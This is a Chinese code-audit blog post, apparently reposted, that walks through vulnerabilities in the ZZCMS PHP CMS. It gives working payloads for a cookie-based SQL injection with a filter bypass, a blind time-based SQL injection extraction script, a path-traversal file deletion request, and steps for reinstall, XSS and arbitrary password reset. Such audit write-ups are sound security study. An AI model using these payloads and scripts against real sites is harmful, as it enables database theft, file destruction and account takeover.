ZZCMS201910代码审计

Posted 亦世凡华、

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ZZCMS201910代码审计相关的知识,希望对你有一定的参考价值。

一、sql注入漏洞原理及其分析

现在开始分析zzcms中 产生sql注入的原理以及代码审计的过程。

先用seay审计大概过一遍此cms中可能存在的漏洞,然后在admin/ask.php的文件看到这个可能存在漏洞的点,这里的sql语句中$_COOKIE["askbigclassid"]这个参数可控,此时就有一个想法我是不是可以将我所想查询的内容通过构造特殊的sql语句插入到这个变量中,进行自己想查询的东西,这里是不是就完成了一个sql注入攻击。

$sql = "select * from zzcms_askclass where parentid=" . $_COOKIE["askbigclassid"] . " order by xuhao asc";
$sql = "select * from zzcms_askclass where parentid=-1 union select 1,2,3,4,5,6,7,8,9,10,11 order by xuhao asc";

因为是白盒测试,这里我们可以先将此查询语句放入数据库中查询看其会返回什么值,因为在日常的sql注入中我们知道sql注入回显的地方可能是返回某一字段,这里首先看一下这个sql语句是查询的是什么东西。以及检测构造后的查询语句是否可以正常查询。

这里成功返回查询成功的值,此时再去测试,因为这里的$_COOKIE["askbigclassid"]参数可控,所以我们这里先去测试之前构造的sql语句看是否可以成功执行。

查询过后发现可以成功执行。接下来在思考之前构造的sql语句可以成功执行,但是不知道这个这个查询的结果在哪显示。相对来说,不是很完美,接下来就要去寻找,这个sql语句查询的结果在哪里,通过审计得知他最后会出现在一个标签里,这里岂不是很完美,及查询了结果又把结果打印出来。 

这里大概解释一下这里的执行过程,首先通过判断$_COOKIE["askbigclassid"]的值是否为空,如果不等于空 会执行$sql所定义的sql语句。query()这个函数的作用是执行当前的sql语句,假设之前通过各种绕过来到了这个地方这里执行的sql语句会是。

$sql = "select * from zzcms_askclass where parentid=-1 union select database(),2,3,4,5,6,7,8,9,10,11 order by xuhao asc";

这里就会去执行这个查询语句,是不是就完成了一次sql查询,然后通过fetch_array()这个函数将所查询的结果遍历出来最后打印出classid这个字段的内容。现在开始去想,我已经知道了这个漏洞存在,但是要怎么执行才能触发这个漏洞,这里也就是代码审计的魅力,通过观察上下文发现,这个可能存在漏洞的地方是在add()这个函数中,那现在的思路,我是不是只需要去调用这个函数,并且将$_COOKIE["askbigclassid"]这个地方的值赋值为查询的sql语句也就是$askbigclass = -1 union select 1,2,3,4,5,6,7,8,9,10,11这样就可以执行攻击,接下来就去看在什么时候去调用这个add()函数。

通过审计发现在admin/ask.php文件中第53行有一个调用add()函数的东西,这里是不是就可以通过构造payload来进行一波测试。 

GET /zzcms/admin/ask.php?do=add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: askbigclassid=-1 union select database(),2,3,4,5,6,7,8,9,10,11
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

构造请求包发包结果有waf,发现得绕waf。

因为不管什么cms 还是什么东西他的本质上就是代码,所打印的东西大概率都是代码中所有的字段,不可能无中生有,此时,我们就可以通过搜索这个提示字段找到他所在的代码,在进行审计,看是否可以进行其他绕过。 

通过搜索我们发现在inc/stopsqlin.php。

存在这个字符串,大概浏览了一下这个可能就是此cms所自带的一个waf这里开始审计看是否可以绕过。

这里审计得知在

这里是一段php代码解释一下,首先通过if判断$_REQUSET这个变量是否为空 如果不为空执行下面的语句,这里是一个全局变量检查,通过zc_check()这个函数将所有传入的GET和POST还有cookie都进行检测看起是否有危险字符因为在之前payload的包中使用cookie传的sql语句,这里也就是为什么他会显示有select危险字符不让执行的原因,extract()这个函数可以在上下文中产生一个新的变量,在赋值给一个值,这里可以理解为在上下文中定义一个自己的变量。下面是extract()这个函数例子。

之前说到首先传入的参数会进入zc_check()这个函数中进行过滤,这里对zc_check()函数进行分析。 

function zc_check($string)     //传入字符串,就是之前get或者post或者cookie传入的值
  if(!is_array($string))     //判断字符串是否为空
    if(get_magic_quotes_gpc())      //get_magic_quotes_gpc()
return htmlspecialchars(trim($string));  //这里可以直接忽略在高版本的php中这个函数始终未FALSE
    else
    return addslashes(htmlspecialchars(trim($string)));
    //通过htmlspecialchars函数对字符穿进行html实体化,来过滤xss 在通过addslashes这个函数来过滤sql注入  
   
  foreach($string as $k => $v) $string[$k] = zc_check($v);
  return $string;

这里是addslashes函数的解释。


<?php 
$str = addslashes('Shanghai is the "biggest" city in China.');
echo($str); 
?>  


结果  Shanghai is the \\"biggest\\" city in China.

对 单引号(') 双引号(") 反斜杠(\\) 都会进行转义来防止sql注入,然后通过foreach()函数进行对字符串的提取 也就是将,假设现在有一个这样的GET请求?do=add 他的作用就是将do变成$do add变成字符串 $do=add ,然后对add在进行一般过滤,然后返回最后的字符串结果。

然后通过$_url来获取当前所请求的路径,在对当前的路径通过stopsqlin()函数进行检测过滤

这里先分析下stopsqllin()函数。

function stopsqlin($str)
if(!is_array($str)) //有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
  $str=strtolower($str);//否则过过滤不全
  
  $sql_injdata = "";
  $sql_injdata= $sql_injdata."|".stopwords;
  $sql_injdata=CutFenGeXian($sql_injdata,"|");

    $sql_inj = explode("|",$sql_injdata);
  for ($i=0; $i< count($sql_inj);$i++)
    if (@strpos($str,$sql_inj[$i])!==false) showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");
  
  


define('stopwords','select|update|and|or|delete|insert|truncate|char|into|iframe|script|得普利麻|易瑞沙|益赛普|赫赛汀|日达仙|百泌达|多吉美|拜科奇|赛美维|施多宁|派罗欣|妥塞敏|格列卫|特罗凯|手机窃听器|手枪') ;//网站禁用关键字

首先将|这个符合和他所定义的字符串连接,通过|为标志将他的字符串打散,变成单个字符串然后与GET和COOKIE和POST 传进去的参数进行判断如果有这些危险字符将停止程序运行。

这里的strpos()函数的作用是strpos($r_url,"template.php")在$_url中找siteconfig.php这个字符串如果找到就返回第一次出现的位置,没有返回0。

if (checksqlin=="Yes") 
if (strpos($r_url,"siteconfig.php")==0
    && strpos($r_url,"label")==0
    && strpos($r_url,"template.php")==0) 
foreach ($_GET as $get_key=>$get_var) stopsqlin($get_var); /* 过滤所有GET过来的变量 */      
foreach ($_POST as $post_key=>$post_var) stopsqlin($post_var);  /* 过滤所有POST过来的变量 */
foreach ($_COOKIE as $cookie_key=>$cookie_var) stopsqlin($cookie_var);  /* 过滤所有COOKIE过来的变量 */
foreach ($_REQUEST as $request_key=>$request_var) stopsqlin($request_var);  /* 过滤所有request过来的变量 */


?>

这里仔细看如果满足 if 的三个条件才会进入下面的stoplin()函数进行判断那么我这里是不是可以让他不满足这个if语句是不是就可以不去执行这个stopsqlin()这个函数,那么是不是就可以绕过sql注入检测,也就是网站自带的waf。

并且配合之前的extract()这个函数是不是就可以达到一个攻击效果了。

strpos($r_url,"siteconfig.php")==0
strpos($r_url,"label")==0
strpos($r_url,"template.php")==0)
//这里就是三个判断点,也就是绕过waf的关键点

先分析一次正常的请求过程。

首先GET和COOKIE参数 传入zc_check()中过滤,然后获得当前请求的url,通过判断,传入到stopsqlin()函数 进行检测,如果有危险字符就停止,否则就执行。

再分析一次非正常请求

首先GET和COOKIE参数 传入zc_check()中过滤,然后获得当前请求的url,通过判断,判断失败直接跳过stopsqlin()这个函数,也就不进行对危险字符检查,从而绕过这个waf。

这里开始对以上思路开始测试。

二、构造payload

GET /zzcms/admin/ask.php?do=add&s=siteconfig.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: askbigclassid=-1 union select database(),2,3,4,5,6,7,8,9,10,11
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

成功执行sql注入。

三、漏洞验证脚本


# -*- coding: utf-8 -*-
import requests
import re
from bs4 import BeautifulSoup
from colorama import init,Fore
init(autoreset=True)
geturl = input("请输入网址:")
headers = 
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36",

url = geturl+"/admin/ask.php?do=add&s=siteconfig.php"
cookie = "askbigclassid":"-1 union select user(),2,3,4,5,6,7,8,9,10,11"
try:
    Geturl = requests.get(url=url,cookies=cookie,headers=headers)
    soup = BeautifulSoup(Geturl.text,"lxml")
    test = soup.find_all("option")[2]
    test = str(test)
    jiansuo = re.search(r"<option value=(.*)>3</option>",test).group(1)
    if jiansuo == '\\"root@localhost\\"' :
        print("存在此sql注入漏洞")
except:
    print("不存在此漏洞")

四、渗透测试的一些思考

一、此次代码审计明白了一些黑盒测试的攻击手段,以及一些攻击思路。

二、学会代码审计会极大的帮助对于漏洞的理解。

三、所谓的0day也就是通过代码审计审计出来,进行代码审计的同时画一些思维导图比较好理解一点。

四、代码审计时要注意哪些变量可控,忽略无用的代码,进行逆向回退,从可能存在漏洞的地方进行回溯审计。

2020/2/17 zzcms8.2 PHP代码审计(持续更新)

0x00 看网站结构

*********************************
*				*
*	ZZCMS产品版目录结构	*
*				*
*********************************

/install 安装程序目录(安装时必须有可写入权限)
/admin 默认后台管理目录(可任意改名)
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录;更多用户网站模板可从http://www.zzcms.net/skin.asp 下载
/template 系统模板存放目录;更多系统模板可从http://www.zzcms.net/template.asp 下载
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zs 招商程序文件
/dl 代理
/zh 展会
/company 企业
/job 招聘
/zx 资讯
/special专题
/pp 品牌
/wangkan 网刊
/ask 问答
/zt 注册用户展厅页程序
/one 专存放单页面,如公司简介页,友情链接页,帮助页都放在这个目录里了
/ajax ajax程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
	/3/ckeditor CK编缉器程序存放目录
	/3/alipay 支付宝在线支付系统存放目录
	/3/tenpay 财富通在线支付系统存放目录
	/3/qq_connect2.0 qq登录接口文件
	/3/ucenter_api discuz论坛用户同步登录接口文件
	/3/kefu 在线客服代码
	/3/mobile_msg 第三方手机短信API
	/3/phpexcelreader PHP读取excel文件组件
/cache 缓存文件
/uploadfiles 上传文件存放目录
/dl_excel 要导入的代理信息excel表格文件上传目录
/image 程序设计图片,swf文件存放目录
/flash 展厅用透明flash装饰动画存放目录
/js js文件存放目录
/html 静态页存放目录

/favicon.ico 地址栏左侧小图标文件
/web.config 伪静态规则文件for iis7(万网比较常用)
/httpd.ini  伪静态规则文件for iss6
/.htaccess  伪静态规则文件for apache

0x01 通读代码

先看一下入口文件:index.php:
引用配置文件,还有调用模板

先跟过去看看配置文件吧:
top_index.php
1:打开模板
$fp返回值是否为true

if (file_exists($fp)==false){

echo $fp.\' no this template\';

exit;

2:还有一个我觉得奇怪的点:

$channel=strtolower($_SERVER[\'REQUEST_URI\']);

能够传入我们请求的url,注意一下看看后面的文件有没有可控的点
3:这个页面对username和password的cookie做了过滤,伪造应该不行了

bottom.php:

定义function sitebottom()函数
引用模板
label.php:
调用其他文件
留意一下这个页面show.php

其他页面暂时没看到啥
开始看user文件夹下的文件,重点开始了:
manage.php:

引入了配置文件,猜测是过滤,跟进
conn.php,数据库文件
查看check.php,发现仅仅对用户名和密码是否存在检测,说明过滤文件在别的地方
从上到下一个一个页面看

发布信息栏目:

0x02 文件上传漏洞

重点审计这个,直觉这里问题很大
上传先黑盒测试一下:

图片马上传成功,后台看了一下也没被过滤
这里想getshell方法太多了,就不提了。
,我们去看源码吧

首先,先判断文件是否存在,再检查文件是否超过限制,接着检查文件类型,这里可以用GIF89a绕过检查,最后使用黑名单机制检查文件后缀,问题就出在这里,黑名单少过滤了phtml,而apache会将phtml文件按照php文件来解析
所以我们这样也行:

0x03 sql注入漏洞

简单测试了几下发现因为我们注册的是个人账户,很多功能不能使用
我们直接看这个页面:
http://127.0.0.1/user/manage.php

看代码qq有问题,本地尝试了一下没有发现漏洞
我们看message.php

有过滤
到这里思路陷入了死角,刚才认真思考了一下自己一定是没看到关键文件,他的过滤规则没看到,能否sql注入就看能否找到配置文件了.
没办法,开始看user文件夹下的配置文件,我们根据审计结果
user/del.php

这一处两个配置文件我们再去看一遍:

果然,终于找到了过滤文件

inc/stopsqlin.php
我们跟过去

终于看到了,简单读一下
过滤了xss,过滤了$_SERVER["REQUEST_URI",一开始读代码感到奇怪的点就不能利用了。过滤了sql注入。
我们返回去看check.php

有5处SQL语句查询,第一处,无法利用,因为首先参数经过” /inc/stopsqlin.php“过滤,且被单引号包裹,无法闭合
剩下4处SQL语句要想执行,就必须要先进行注册账号。先来看第二处的sql语句。我们再看getip()函数时,可以发现这里的ip可以伪造,而且代码未经任何过滤,仅仅只是用单引号包裹拼接。

query("UPDATE zzcms_user SET loginip = \'".getip()."\' WHERE 
username=\'".$username."\'");//¸üÐÂ×îºóµÇ¼IP

全局搜索getip:

看到了这个,猜测是定义函数,我们过去看看

这个和bluecms出现了相同的问题
ip我们可控,尝试注入

这里关键参数ip字段我采用的是头部的X-Forwarded-For字段

成功注入出了我们的cms管理员账号密码
密码MD5解密即可(这里sqlmap内置已经解密好了)
全局搜索getip()
在”/user/logincheck.php“、”/admin/logincheck.php“中也存在多处由ip导致的sql注入

这里再看一个sql注入

/user/del.php

我们发现有一个sql语句直接通过两个变量$tablename和$id拼接而成的,而这个$tablename变量可直接从post方式获取,代码未经任何过滤直接拼接,变量$tablename没有经过单引号包裹从而引发了sql注入。
我们看一下继续看

变量$id和$tablename都是经过POST方式获得,但是$id经过checkid的消毒处理
所以我们不能使用大于号、小于号
文章

https://www.freebuf.com/vuls/161888.html

首先我们必须确定列id和editor是属于具体哪个表的

payload:

id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#

这里注意这个不是一个通用payload,因为如果zzcms_answer是一个空表,则该payload无法利用

改进一下:

id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#

因为这里采用的是基于时间的盲注,从zzcms_answer表中查询的结果有可能为空,如果为空,就不能执行后面的if语句,所以为了确保有查询结果,加入联合查询,保证有查询结果
贴上盲注脚本:

#/user/del.php
import requests

url = "http://127.0.0.1/user/del.php"
database = ""

for i in range(1,50):
    flag = 0
    for j in range(95,123):
        data = {
            "id":"1",
            "tablename":"zzcms_answer union select 1,2 and if(ascii(substr(database(),%d,1))=%d,sleep(3),1)#"%(i,j)
            }
        r = requests.post(url,data=data)
        t = r.elapsed.total_seconds()
        if t >= 3:
            database = database + chr(j)
            flag = 1
            break
    if flag == 0 and j == 122:
        print("database:",database)
        break

0x04 任意文件删除漏洞

页面:
http://127.0.0.1/user/adv.php
!

很明显的任意文件删除

if (isset($_REQUEST["oldimg"])){

$oldimg=$_REQUEST["oldimg"];

}else{

$oldimg="";

}



$rs=query("select usersf from zzcms_user where 
username=\'".$_COOKIE["UserName"]."\' ");

$row=fetch_array($rs);

if ($row["usersf"]=="¸öÈË"){

echo  $f_array[2];



exit;

}



if ($action=="modify"){

query("update zzcms_textadv set 
adv=\'$adv\',company=\'$company\',advlink=\'$advlink\',img=\'$img\',passed=0 
where username=\'".$_COOKIE["UserName"]."\'");

//ΪÁË·ÀÖ¹Ò»¸öÓû§Í¨¹ýÐ޸Ĺã¸æ´Ê¹¦Äܳ¤ÆÚ°ÔÕ¼Ò»¸öλÖõ±Óû§Ð޸Ĺã¸æ´Êʱֻ¸üÐÂÆäÄÚÈݲ»¸üÐÂʱ¼ä¡£

//deloldimg

if ($oldimg<>$img){

            $f="../".$oldimg;

            if (file_exists($f)){

            unlink($f);       

            }

$f变量,该变量直接由"../"与$oldimg拼接而得,并未过滤.和/字符,导致跨目录删除文件。所以按照代码逻辑,我们只要让$img不等于$oldimg,且$action等于”modify”即可。
复现:

同样的问题:
我们看manage.php

payload:

POST /user/manage.php?action=modify HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 433
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/user/manage.php
Cookie: BLUE[user_id]=2; BLUE[user_name]=admin777; BLUE[user_pwd]=f146dec94163c1288e623b9c0d98128d; bdshare_firstime=1581904550027; PHPSESSID=1c1e1b99c601fd3b06c3ead91633d757; UserName=admin888; PassWord=e10adc3949ba59abbe56e057f20f883e
Upgrade-Insecure-Requests: 1

somane=%E7%8E%8B%E5%8F%B9%E4%B9%8B&sex=1&email=1278121435%40qq.com&qq=&oldqq=&mobile=&b=0&s=0&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&address=11&homepage=11&phone=15033334444&fox=11&content=%26nbsp%3B&img=%2Fuploadfiles%2F2020-02%2F20200220110626624.png&oldimg=admin/test.php&flv=&oldflv=&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C

类似的,我们可以在
/user/ppsave.php, /user/zssave.php,/user/licence_save.php可以看到相同问题

0x05 网站重装漏洞

先简单测试一下:

有install.lock 文件,我们去入口文件看看
index.php
开头就是常规的配置文件,对post和get传过来的变量做了过滤。
我们跟进step1_.php

<?php

if(file_exists("install.lock")){

echo "<div 
style=\'padding:30px;\'>°²×°Ïòµ¼ÒÑÔËÐа²×°¹ý£¬ÈçÐèÖØ°²×°£¬Çëɾ³ý 
/install/install.lock Îļþ</div>";

}

但是去看step2_.php

并没有看到包含这个检测文件,这就造成了网站重装漏洞:
复现:
payload:

POST /install/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

step=2

0x06 XSS漏洞

位置:
/inc/top.php
很多疑似xss的页面都经过了开头包含” /inc/conn.php“文件,对REQUEST数据进行消毒处理。但是这个文件没有。
问题代码:

<?php
//echo $_SERVER[\'REQUEST_URI\'];
if (@$_POST["action"]=="search"){
echo "<script>location.href=\'".@$_POST["lb"]."/search.php?keyword=".@$_POST["keyword"]."\'</script>";
}

我们只需要将标签闭合即可实现反射型xss
复现:

再来看一个XSS:
位置:

/install/step_6.php 第10-11行
问题代码:

变量$admin和$adminpwdtrue直接打印出来,很可能存在XSS漏洞,我们继续跟进这两个变量
跟进到入口index.php文件

if($_POST) extract($_POST, EXTR_SKIP);//把数组中的键名直接注册为了变量。就像把$_POST[ai]直接注册为了$ai。
if($_GET) extract($_GET, EXTR_SKIP);
$submit = isset($_POST[\'submit\']) ? true : false;
$step = isset($_POST[\'step\']) ? $_POST[\'step\'] : 1;

extract函数的作用是将数组的键名变成各个变量名,键名对应键值对应变量的值,并且我们发现一个变量$step,猜测可能跟安装的步骤有关,继续跟进该变量

case \'6\'://°²×°³É¹¦

            include \'step_\'.$step.\'.php\';

      break;

发现当变量$step值为6时,就包含了step_6.php,而我们可以发现index.php的开头是没有包含之前所说的关键文件/inc/conn.php的,所以这里的POST和GET是没有经过转义处理的,所以$admin和$adminpwdtrue是可控的变量

复现:

同样的漏洞还出现在”/uploadimg_form.php“文件66-67行处

0x07 任意密码修改漏洞

和网站重装类似,我们先看问题代码
/one/getpassword.php文件第 73行,触发漏洞的关键代码。

}elseif($action=="step3" && @$_SESSION[\'username\']!=\'\'){
$passwordtrue = isset($_POST[\'password\'])?$_POST[\'password\']:"";
$password=md5(trim($passwordtrue));
query("update zzcms_user set password=\'$password\',passwordtrue=\'$passwordtrue\' where username=\'".@$_SESSION[\'username
$strout=str_replace("{step4}","",$strout) ;
$strout=str_replace("{/step4}","",$strout) ;
$strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
$strout=str_replace("{#username}",@$_SESSION[\'username\'],$strout) ;

这里仅仅判断了 action参数为 step3,并且$_SESSION[\'username\']不为空,就进入密码修改的逻辑,直接执
行sql语句执行update操作。那么这里的$_SESSION[\'username\']从哪里来的,我们继续看代码,在
/one/getpassword.php文件第 31行,可以看到 $_SESSION[\'username\']。

if ($action=="step1"){
$username = isset($_POST[\'username\'])?$_POST[\'username\']:"";
$_SESSION[\'username\']=$username;
checkyzm($_POST["yzm"]);
$rs=query("select mobile,email from zzcms_user where username=\'" . $username . "\' ");
$row=fetch_array($rs);
$regmobile=$row[\'mobile\'];
$regmobile_show=str_replace(substr($regmobile,3,4),"****",$regmobile);
$regemail=$row[\'email\'];
$regemail_show=str_replace(substr($regemail,1,2),"**",$regemail);

这里username是从step1不做中 post传递过来的 username参数,也就是我们要修改的用户名。那么漏洞就很
明显了,在第一步输入要修改的用户名,然后获取session值,直接跳到第三步,修改密码就可以打到任意
用户密码修改。

漏洞复现

第一步先在找回密码页面输入要修改的用户名,点击下一步,burp拦截。
抓包获取session值

这里我们获取到了 session值,然后根据上面的描述,修改数据包,直接进入修改密码操作

这里session就是上面获取到的,只需要修改 post-data值就可以。这里改成mima888。action值要改成step3
才可以进去 数据库 update语句的操作。然后重放数据包,就可以完成任意密码修改了。

0x08 总结

到现在,审计了4天结束了这个cms。
期间有一个最大的尴尬就是没有找到关键配置文件,导致做了很多无用功。
期间多次因为状态不好审计的太慢,漏洞没有复现成功。
下一个cms要比这次读的代码更多,一定要仔细的通读,慢慢来,慢慢积累。
找到漏洞点后要注意看前后代码逻辑,有时候漏洞是在某些特定情况下才能触发。
在寻找某个文件夹下的漏洞时,一定要明白这些文件的关系。
最后,期待下一个cms233.

以上是关于ZZCMS201910代码审计的主要内容,如果未能解决你的问题,请参考以下文章

2020/2/17 zzcms8.2 PHP代码审计(持续更新)

zzcms1.0代码审计

ZZCMS v8.2 最新版SQL注入漏洞

WEB代码审计教程,详解什么是WEB代码审计

CICD-代码审计(漏洞扫描工具-代码审计静态代码分析和安全检测-代码覆盖率)

DjangoPython安全编码与代码审计